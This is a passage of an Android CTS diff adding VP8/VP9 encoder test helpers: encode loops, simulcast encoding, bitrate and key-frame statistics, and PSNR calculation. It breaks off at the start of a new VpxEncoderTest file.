+                    mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
+                    if (System.currentTimeMillis() >= timeoutExpiredMs) {
+                        throw new RuntimeException("encoding has timed out!");
+                    }
+                }
+            }
+        }
+
+        public void signalCompletion() {
+            synchronized (mCompletionEvent) {
+                mCompleted = true;
+                mCompletionEvent.notify();
+            }
+        }
+
+        public void deleteCodec() throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.stop();
+                    mCodec.release();
+                    return null;
+                }
+            } );
+            if (mAsync) {
+                requestStop(); // Stop looper thread
+            }
+        }
+    }
+
+    /**
+     * Vpx encoding loop supporting encoding single streams with an option
+     * to run in a looper thread and use buffer ready notification callbacks.
+     *
+     * Output stream is described by encodingParams parameters.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever vpx encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param streamParams  Structure with encoder parameters
+     * @return              Returns array of encoded frames information for each frame.
+     */
+    protected ArrayList<MediaCodec.BufferInfo> encode(
+            EncoderOutputStreamParameters streamParams) throws Exception {
+
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+                streamParams.frameHeight);
+        int bitrate = streamParams.bitrateSet[0];
+
+        // Create minimal media format signifying desired output.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                streamParams.codecMimeType, streamParams.frameWidth,
+                streamParams.frameHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        CodecProperties properties = getVpxCodecProperties(
+                true, format, streamParams.forceGoogleEncoder);
+        if (properties == null) {
+            return null;
+        }
+
+        // Open input/output
+        InputStream yuvStream = OpenFileOrResourceId(
+                streamParams.inputYuvFilename, streamParams.inputResourceId);
+        IvfWriter ivf = new IvfWriter(
+                streamParams.outputIvfFilename, streamParams.codecMimeType,
+                streamParams.frameWidth, streamParams.frameHeight);
+
+        // Create a media format signifying desired output.
+        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+        }
+        if (streamParams.temporalLayers > 0) {
+            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+        }
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+                streamParams.frameRate;
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+
+        // Create encoder
+        Log.d(TAG, "Creating encoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                streamParams.frameWidth + " x " + streamParams.frameHeight +
+                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
+        MediaEncoderAsync codec = new MediaEncoderAsync();
+        codec.createCodec(0, properties.codecName, format,
+                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+
+        // encode loop
+        boolean sawInputEOS = false;  // no more data
+        boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
+        boolean sawOutputEOS = false;
+        boolean inputConsumed = true;
+        int inputFrameIndex = 0;
+        int lastBitrate = bitrate;
+        int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+        byte[] srcFrame = new byte[srcFrameSize];
+
+        while (!sawOutputEOS) {
+
+            // Read and feed input frame
+            if (!consumedInputEOS) {
+
+                // Read new input buffers - if previous input was consumed and no EOS
+                if (inputConsumed && !sawInputEOS) {
+                    int bytesRead = yuvStream.read(srcFrame);
+
+                    // Check EOS
+                    if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
+                        sawInputEOS = true;
+                        Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+                    }
+
+                    if (!sawInputEOS && bytesRead == -1) {
+                        if (streamParams.frameCount == 0) {
+                            sawInputEOS = true;
+                            Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+                        } else {
+                            yuvStream.close();
+                            yuvStream = OpenFileOrResourceId(
+                                    streamParams.inputYuvFilename, streamParams.inputResourceId);
+                            bytesRead = yuvStream.read(srcFrame);
+                        }
+                    }
+
+                    // Force sync frame if syncForceFrameinterval is set.
+                    if (!sawInputEOS && inputFrameIndex > 0 &&
+                            streamParams.syncForceFrameInterval > 0 &&
+                            (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
+                        Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
+                        codec.forceSyncFrame();
+                    }
+
+                    // Dynamic bitrate change.
+                    if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
+                        int newBitrate = streamParams.bitrateSet[inputFrameIndex];
+                        if (newBitrate != lastBitrate) {
+                            Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
+                                    " for frame " + inputFrameIndex);
+                            codec.updateBitrate(newBitrate);
+                            lastBitrate = newBitrate;
+                        }
+                    }
+
+                    // Convert YUV420 to NV12 if necessary
+                    if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                        srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
+                                srcFrame);
+                    }
+                }
+
+                inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
+                if (inputConsumed) {
+                    inputFrameIndex++;
+                    consumedInputEOS = sawInputEOS;
+                }
+            }
+
+            // Get output from the encoder
+            MediaEncoderOutput out = codec.getOutput();
+            if (out.outputGenerated) {
+                // Detect output EOS
+                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "----Output EOS ");
+                    sawOutputEOS = true;
+                }
+
+                if (out.buffer.length > 0) {
+                    // Save frame
+                    ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = out.inPresentationTimeUs -
+                            out.outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                            out.outPresentationTimeUs, out.flags);
+                    bufferInfos.add(bufferInfoCopy);
+                }
+            }
+
+            // If codec is not ready to accept input/poutput - wait for buffer ready callback
+            if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
+                codec.waitForBufferEvent();
+            }
+        }
+
+        codec.deleteCodec();
+        ivf.close();
+        yuvStream.close();
+
+        return bufferInfos;
+    }
+
+    /**
+     * Vpx encoding run in a looper thread and use buffer ready callbacks.
+     *
+     * Output stream is described by encodingParams parameters.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever vpx encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param streamParams  Structure with encoder parameters
+     * @return              Returns array of encoded frames information for each frame.
+     */
+    protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
+            EncoderOutputStreamParameters streamParams) throws Exception {
+        if (!streamParams.runInLooperThread) {
+            throw new RuntimeException("encodeAsync should run with a looper thread!");
+        }
+
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+                streamParams.frameHeight);
+        int bitrate = streamParams.bitrateSet[0];
+
+        // Create minimal media format signifying desired output.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                streamParams.codecMimeType, streamParams.frameWidth,
+                streamParams.frameHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        CodecProperties properties = getVpxCodecProperties(
+                true, format, streamParams.forceGoogleEncoder);
+        if (properties == null) {
+            return null;
+        }
+
+        // Open input/output
+        IvfWriter ivf = new IvfWriter(
+                streamParams.outputIvfFilename, streamParams.codecMimeType,
+                streamParams.frameWidth, streamParams.frameHeight);
+
+        // Create a media format signifying desired output.
+        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+        }
+        if (streamParams.temporalLayers > 0) {
+            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+        }
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+                streamParams.frameRate;
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+
+        // Create encoder
+        Log.d(TAG, "Creating encoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                streamParams.frameWidth + " x " + streamParams.frameHeight +
+                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
+
+        MediaEncoderAsync codec = new MediaEncoderAsync();
+        MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
+                streamParams, properties, bufferInfos, ivf);
+
+        codec.setAsyncHelper(helper);
+        codec.createCodec(0, properties.codecName, format,
+                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+        codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
+
+        codec.deleteCodec();
+        ivf.close();
+
+        return bufferInfos;
+    }
+
+    /**
+     * Vpx encoding loop supporting encoding multiple streams at a time.
+     * Each output stream is described by encodingParams parameters allowing
+     * simultaneous encoding of various resolutions, bitrates with an option to
+     * control key frame and dynamic bitrate for each output stream indepandently.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever vpx encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param srcFrameWidth     Frame width of input yuv file
+     * @param srcFrameHeight    Frame height of input yuv file
+     * @param encodingParams    Encoder parameters
+     * @return                  Returns 2D array of encoded frames information for each stream and
+     *                          for each frame.
+     */
+    protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
+            int srcFrameWidth,
+            int srcFrameHeight,
+            ArrayList<EncoderOutputStreamParameters> encodingParams)  throws Exception {
+        int numEncoders = encodingParams.size();
+
+        // Create arrays of input/output, formats, bitrates etc
+        ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
+                new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
+        InputStream yuvStream[] = new InputStream[numEncoders];
+        IvfWriter[] ivf = new IvfWriter[numEncoders];
+        FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
+        MediaFormat[] format = new MediaFormat[numEncoders];
+        MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
+        int[] inputFrameIndex = new int[numEncoders];
+        boolean[] sawInputEOS = new boolean[numEncoders];
+        boolean[] consumedInputEOS = new boolean[numEncoders];
+        boolean[] inputConsumed = new boolean[numEncoders];
+        boolean[] bufferConsumed = new boolean[numEncoders];
+        boolean[] sawOutputEOS = new boolean[numEncoders];
+        byte[][] srcFrame = new byte[numEncoders][];
+        boolean sawOutputEOSTotal = false;
+        boolean bufferConsumedTotal = false;
+        CodecProperties[] codecProperties = new CodecProperties[numEncoders];
+
+        numEncoders = 0;
+        for (EncoderOutputStreamParameters params : encodingParams) {
+            int i = numEncoders;
+            Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
+                    params.frameHeight);
+            int bitrate = params.bitrateSet[0];
+
+            // Create minimal media format signifying desired output.
+            format[i] = MediaFormat.createVideoFormat(
+                    params.codecMimeType, params.frameWidth,
+                    params.frameHeight);
+            format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+            CodecProperties properties = getVpxCodecProperties(
+                    true, format[i], params.forceGoogleEncoder);
+            if (properties == null) {
+                continue;
+            }
+
+            // Check if scaled image was created
+            int scale = params.frameWidth / srcFrameWidth;
+            if (!mScaledImages.contains(scale)) {
+                // resize image
+                cacheScaledImage(params.inputYuvFilename, params.inputResourceId,
+                        srcFrameWidth, srcFrameHeight,
+                        params.scaledYuvFilename, params.frameWidth, params.frameHeight);
+                mScaledImages.add(scale);
+            }
+
+            // Create buffer info storage
+            bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
+
+            // Create YUV reader
+            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+
+            // Create IVF writer
+            ivf[i] = new IvfWriter(
+                    params.outputIvfFilename, params.codecMimeType,
+                    params.frameWidth, params.frameHeight);
+
+            // Frame buffer
+            int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
+            srcFrame[i] = new byte[frameSize];
+
+            // Create a media format signifying desired output.
+            if (params.bitrateType == VIDEO_ControlRateConstant) {
+                format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+            }
+            if (params.temporalLayers > 0) {
+                format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
+            }
+            format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+            format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
+            int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
+                    params.frameRate; // in sec
+            format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+            // Create encoder
+            Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
+                    ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                    params.frameWidth + " x " + params.frameHeight +
+                    ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
+                    ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
+                    ". Key frame:" + syncFrameInterval * params.frameRate +
+                    ". Force keyFrame: " + params.syncForceFrameInterval);
+            Log.d(TAG, "  Format: " + format[i]);
+            Log.d(TAG, "  Output ivf:" + params.outputIvfFilename);
+
+            // Create encoder
+            codec[i] = new MediaEncoderAsync();
+            codec[i].createCodec(i, properties.codecName, format[i],
+                    params.timeoutDequeue, params.runInLooperThread, params.useNdk);
+            codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
+
+            inputConsumed[i] = true;
+            ++numEncoders;
+        }
+        if (numEncoders == 0) {
+            Log.i(TAG, "no suitable encoders found for any of the streams");
+            return null;
+        }
+
+        while (!sawOutputEOSTotal) {
+            // Feed input buffer to all encoders
+            for (int i = 0; i < numEncoders; i++) {
+                bufferConsumed[i] = false;
+                if (consumedInputEOS[i]) {
+                    continue;
+                }
+
+                EncoderOutputStreamParameters params = encodingParams.get(i);
+                // Read new input buffers - if previous input was consumed and no EOS
+                if (inputConsumed[i] && !sawInputEOS[i]) {
+                    int bytesRead = yuvStream[i].read(srcFrame[i]);
+
+                    // Check EOS
+                    if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
+                        sawInputEOS[i] = true;
+                        Log.d(TAG, "---Enc" + i +
+                                ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+                    }
+
+                    if (!sawInputEOS[i] && bytesRead == -1) {
+                        if (params.frameCount == 0) {
+                            sawInputEOS[i] = true;
+                            Log.d(TAG, "---Enc" + i +
+                                    ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+                        } else {
+                            yuvStream[i].close();
+                            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+                            bytesRead = yuvStream[i].read(srcFrame[i]);
+                        }
+                    }
+
+                    // Convert YUV420 to NV12 if necessary
+                    if (codecProperties[i].colorFormat !=
+                            CodecCapabilities.COLOR_FormatYUV420Planar) {
+                        srcFrame[i] =
+                            YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
+                    }
+                }
+
+                inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
+                if (inputConsumed[i]) {
+                    inputFrameIndex[i]++;
+                    consumedInputEOS[i] = sawInputEOS[i];
+                    bufferConsumed[i] = true;
+                }
+
+            }
+
+            // Get output from all encoders
+            for (int i = 0; i < numEncoders; i++) {
+                if (sawOutputEOS[i]) {
+                    continue;
+                }
+
+                MediaEncoderOutput out = codec[i].getOutput();
+                if (out.outputGenerated) {
+                    bufferConsumed[i] = true;
+                    // Detect output EOS
+                    if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        Log.d(TAG, "----Enc" + i + ". Output EOS ");
+                        sawOutputEOS[i] = true;
+                    }
+
+                    if (out.buffer.length > 0) {
+                        // Save frame
+                        ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
+
+                        // Update statistics - store presentation time delay in offset
+                        long presentationTimeUsDelta = out.inPresentationTimeUs -
+                                out.outPresentationTimeUs;
+                        MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                        bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                                out.outPresentationTimeUs, out.flags);
+                        bufferInfos.get(i).add(bufferInfoCopy);
+                    }
+                }
+            }
+
+            // If codec is not ready to accept input/output - wait for buffer ready callback
+            bufferConsumedTotal = false;
+            for (boolean bufferConsumedCurrent : bufferConsumed) {
+                bufferConsumedTotal |= bufferConsumedCurrent;
+            }
+            if (!bufferConsumedTotal) {
+                // Pick the encoder to wait for
+                for (int i = 0; i < numEncoders; i++) {
+                    if (!bufferConsumed[i] && !sawOutputEOS[i]) {
+                        codec[i].waitForBufferEvent();
+                        break;
+                    }
+                }
+            }
+
+            // Check if EOS happened for all encoders
+            sawOutputEOSTotal = true;
+            for (boolean sawOutputEOSStream : sawOutputEOS) {
+                sawOutputEOSTotal &= sawOutputEOSStream;
+            }
+        }
+
+        for (int i = 0; i < numEncoders; i++) {
+            codec[i].deleteCodec();
+            ivf[i].close();
+            yuvStream[i].close();
+            if (yuvScaled[i] != null) {
+                yuvScaled[i].close();
+            }
+        }
+
+        return bufferInfos;
+    }
+
+    /**
+     * Some encoding statistics.
+     */
+    protected class VpxEncodingStatistics {
+        VpxEncodingStatistics() {
+            mBitrates = new ArrayList<Integer>();
+            mFrames = new ArrayList<Integer>();
+            mKeyFrames = new ArrayList<Integer>();
+            mMinimumKeyFrameInterval = Integer.MAX_VALUE;
+        }
+
+        public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
+        public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
+        public int mAverageBitrate;         // Average stream bitrate.
+        public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
+        public int mAverageKeyFrameInterval; // Average key frame interval.
+        public int mMaximumKeyFrameInterval; // Maximum key frame interval.
+        public int mMinimumKeyFrameInterval; // Minimum key frame interval.
+    }
+
+    /**
+     * Calculates average bitrate and key frame interval for the encoded streams.
+     * Output mBitrates field will contain bitrate values for every second
+     * of the encoded stream.
+     * Average stream bitrate will be stored in mAverageBitrate field.
+     * mKeyFrames array will contain the position of key frames in the encoded stream and
+     * mKeyFrameInterval - average key frame interval.
+     */
+    protected VpxEncodingStatistics computeEncodingStatistics(int encoderId,
+            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+        VpxEncodingStatistics statistics = new VpxEncodingStatistics();
+
+        int totalSize = 0;
+        int frames = 0;
+        int framesPerSecond = 0;
+        int totalFrameSizePerSecond = 0;
+        int maxFrameSize = 0;
+        int currentSecond;
+        int nextSecond = 0;
+        String keyFrameList = "  IFrame List: ";
+        String bitrateList = "  Bitrate list: ";
+        String framesList = "  FPS list: ";
+
+
+        for (int j = 0; j < bufferInfos.size(); j++) {
+            MediaCodec.BufferInfo info = bufferInfos.get(j);
+            currentSecond = (int)(info.presentationTimeUs / 1000000);
+            boolean lastFrame = (j == bufferInfos.size() - 1);
+            if (!lastFrame) {
+                nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
+            }
+
+            totalSize += info.size;
+            totalFrameSizePerSecond += info.size;
+            maxFrameSize = Math.max(maxFrameSize, info.size);
+            framesPerSecond++;
+            frames++;
+
+            // Update the bitrate statistics if the next frame will
+            // be for the next second
+            if (lastFrame || nextSecond > currentSecond) {
+                int currentBitrate = totalFrameSizePerSecond * 8;
+                bitrateList += (currentBitrate + " ");
+                framesList += (framesPerSecond + " ");
+                statistics.mBitrates.add(currentBitrate);
+                statistics.mFrames.add(framesPerSecond);
+                totalFrameSizePerSecond = 0;
+                framesPerSecond = 0;
+            }
+
+            // Update key frame statistics.
+            if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                statistics.mKeyFrames.add(j);
+                keyFrameList += (j + "  ");
+            }
+        }
+        int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
+        duration = (duration + 500) / 1000;
+        statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
+        Log.d(TAG, "Statistics for encoder # " + encoderId);
+        // Calculate average key frame interval in frames.
+        int keyFrames = statistics.mKeyFrames.size();
+        if (keyFrames > 1) {
+            statistics.mAverageKeyFrameInterval =
+                    statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
+            statistics.mAverageKeyFrameInterval =
+                    Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
+            for (int j = 1; j < keyFrames; j++) {
+                int keyFrameInterval =
+                        statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
+                statistics.mMaximumKeyFrameInterval =
+                        Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
+                statistics.mMinimumKeyFrameInterval =
+                        Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
+            }
+            Log.d(TAG, "  Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
+                    ". Min: " + statistics.mMinimumKeyFrameInterval +
+                    ". Avg: " + statistics.mAverageKeyFrameInterval);
+        }
+        Log.d(TAG, "  Frames: " + frames + ". Duration: " + duration +
+                ". Total size: " + totalSize + ". Key frames: " + keyFrames);
+        Log.d(TAG, keyFrameList);
+        Log.d(TAG, bitrateList);
+        Log.d(TAG, framesList);
+        Log.d(TAG, "  Bitrate average: " + statistics.mAverageBitrate);
+        Log.d(TAG, "  Maximum frame size: " + maxFrameSize);
+
+        return statistics;
+    }
+
+    protected VpxEncodingStatistics computeEncodingStatistics(
+            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+        return computeEncodingStatistics(0, bufferInfos);
+    }
+
+    protected ArrayList<VpxEncodingStatistics> computeSimulcastEncodingStatistics(
+            ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
+        int numCodecs = bufferInfos.size();
+        ArrayList<VpxEncodingStatistics> statistics = new ArrayList<VpxEncodingStatistics>();
+
+        for (int i = 0; i < numCodecs; i++) {
+            VpxEncodingStatistics currentStatistics =
+                    computeEncodingStatistics(i, bufferInfos.get(i));
+            statistics.add(currentStatistics);
+        }
+        return statistics;
+    }
+
+    /**
+     * Calculates maximum latency for encoder/decoder based on buffer info array
+     * generated either by encoder or decoder.
+     */
+    protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
+        int maxValue = 0;
+        for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
+            maxValue = Math.max(maxValue,  bufferInfo.offset);
+        }
+        maxValue = (maxValue + 500) / 1000; // mcs -> ms
+        return maxValue;
+    }
+
+    /**
+     * Decoding PSNR statistics.
+     */
+    protected class VpxDecodingStatistics {
+        VpxDecodingStatistics() {
+            mMinimumPSNR = Integer.MAX_VALUE;
+        }
+        public double mAveragePSNR;
+        public double mMinimumPSNR;
+    }
+
+    /**
+     * Calculates PSNR value between two video frames.
+     */
+    private double computePSNR(byte[] data0, byte[] data1) {
+        long squareError = 0;
+        assertTrue(data0.length == data1.length);
+        int length = data0.length;
+        for (int i = 0 ; i < length; i++) {
+            int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
+            squareError += diff * diff;
+        }
+        double meanSquareError = (double)squareError / length;
+        double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
+        return psnr;
+    }
+
+    /**
+     * Calculates average and minimum PSNR values between
+     * set of reference and decoded video frames.
+     * Runs PSNR calculation for the full duration of the decoded data.
+     */
+    protected VpxDecodingStatistics computeDecodingStatistics(
+            String referenceYuvFilename,
+            int referenceYuvRawId,
+            String decodedYuvFilename,
+            int width,
+            int height) throws Exception {
+        VpxDecodingStatistics statistics = new VpxDecodingStatistics();
+        InputStream referenceStream =
+                OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
+        InputStream decodedStream = new FileInputStream(decodedYuvFilename);
+
+        int ySize = width * height;
+        int uvSize = width * height / 4;
+        byte[] yRef = new byte[ySize];
+        byte[] yDec = new byte[ySize];
+        byte[] uvRef = new byte[uvSize];
+        byte[] uvDec = new byte[uvSize];
+
+        int frames = 0;
+        double averageYPSNR = 0;
+        double averageUPSNR = 0;
+        double averageVPSNR = 0;
+        double minimumYPSNR = Integer.MAX_VALUE;
+        double minimumUPSNR = Integer.MAX_VALUE;
+        double minimumVPSNR = Integer.MAX_VALUE;
+        int minimumPSNRFrameIndex = 0;
+
+        while (true) {
+            // Calculate Y PSNR.
+            int bytesReadRef = referenceStream.read(yRef);
+            int bytesReadDec = decodedStream.read(yDec);
+            if (bytesReadDec == -1) {
+                break;
+            }
+            if (bytesReadRef == -1) {
+                // Reference file wrapping up
+                referenceStream.close();
+                referenceStream =
+                        OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
+                bytesReadRef = referenceStream.read(yRef);
+            }
+            double curYPSNR = computePSNR(yRef, yDec);
+            averageYPSNR += curYPSNR;
+            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
+            double curMinimumPSNR = curYPSNR;
+
+            // Calculate U PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curUPSNR = computePSNR(uvRef, uvDec);
+            averageUPSNR += curUPSNR;
+            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
+
+            // Calculate V PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curVPSNR = computePSNR(uvRef, uvDec);
+            averageVPSNR += curVPSNR;
+            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
+
+            // Frame index for minimum PSNR value - help to detect possible distortions
+            if (curMinimumPSNR < statistics.mMinimumPSNR) {
+                statistics.mMinimumPSNR = curMinimumPSNR;
+                minimumPSNRFrameIndex = frames;
+            }
+
+            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
+                    frames, curYPSNR, curUPSNR, curVPSNR);
+            Log.v(TAG, logStr);
+
+            frames++;
+        }
+
+        averageYPSNR /= frames;
+        averageUPSNR /= frames;
+        averageVPSNR /= frames;
+        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
+
+        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
+        String logStr = String.format(Locale.US,
+                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
+                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
+        Log.d(TAG, logStr);
+        logStr = String.format(Locale.US,
+                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
+                minimumYPSNR, minimumUPSNR, minimumVPSNR,
+                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
+        Log.d(TAG, logStr);
+
+        referenceStream.close();
+        decodedStream.close();
+        return statistics;
+    }
+}
+
diff --git a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
new file mode 100644
index 0000000..8984f7a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
@@ -0,0 +1,548 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.util.Log;
+import android.media.cts.R;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+
+/**
+ * Verification test for vp8/vp9 encoder and decoder.
+ *
